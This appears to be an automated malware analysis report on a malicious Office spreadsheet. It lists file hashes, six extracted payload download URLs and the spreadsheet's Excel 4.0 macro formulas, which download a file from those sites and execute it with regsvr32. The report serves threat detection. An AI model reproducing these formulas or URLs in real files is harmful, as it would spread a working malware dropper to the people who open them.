General
-
Target
cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18
-
Size
46KB
-
MD5
263f7c5e92d5130f7b9c6a5da622abfa
-
SHA1
92fad4c30637946d9ea711baf09e54fb0a9d4a22
-
SHA256
cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18
-
SHA512
b2dc4e9ec35f7920aa1b5b4b4aef4bbd3b0d0b7f252c1cd3957e1b0cda2cbfdc1de1e78a25f150e8107bc56364d263b4e13dc714aad6796067988a84f80981ef
-
SSDEEP
768:mo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:mo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ
Malware Config
Extracted
http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/
https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/
https://aplicativos.xyz/apk/49Wq5MN/
http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/
http://prevozkop.rs/qnov/n017r0EEa/
https://businessandhr.com/w/xrB/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18